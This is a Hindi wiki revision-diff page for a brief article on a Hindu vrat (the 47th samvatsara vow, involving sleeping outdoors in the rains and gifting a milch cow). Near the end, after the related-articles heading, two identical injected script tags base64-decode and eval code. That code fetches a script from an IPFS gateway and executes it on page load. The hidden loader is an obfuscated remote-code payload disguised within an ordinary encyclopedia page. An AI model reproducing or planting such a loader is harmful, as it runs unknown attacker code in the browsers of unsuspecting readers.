व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
No edit summary |
||
(2 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*यह व्रत 60 [[संवत्सर]] व्रतों में 47वाँ व्रत है। <ref>कृत्यकल्पतरु व्रतखण्ड (449)।</ref> | *यह व्रत 60 [[संवत्सर]] व्रतों में 47वाँ व्रत है। <ref>कृत्यकल्पतरु व्रतखण्ड (449)।</ref> | ||
*इस व्रत में व्यक्ति को वर्षा ऋतु में बाहर सोना पड़ता है और एक दुधारू गाय का दान करना पड़ता है। <ref>[[मत्स्यपुराण]] (101|69)।</ref> | *इस व्रत में व्यक्ति को वर्षा ऋतु में बाहर सोना पड़ता है और एक दुधारू गाय का दान करना पड़ता है। <ref>[[मत्स्यपुराण]] (101|69)।</ref> | ||
{{ | |||
{{प्रचार}} | |||
{{संदर्भ ग्रंथ}} | |||
}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
05:28, 14 जून 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत 60 संवत्सर व्रतों में 47वाँ व्रत है। [1]
- इस व्रत में व्यक्ति को वर्षा ऋतु में बाहर सोना पड़ता है और एक दुधारू गाय का दान करना पड़ता है। [2]
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु व्रतखण्ड (449)।
- ↑ मत्स्यपुराण (101|69)।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>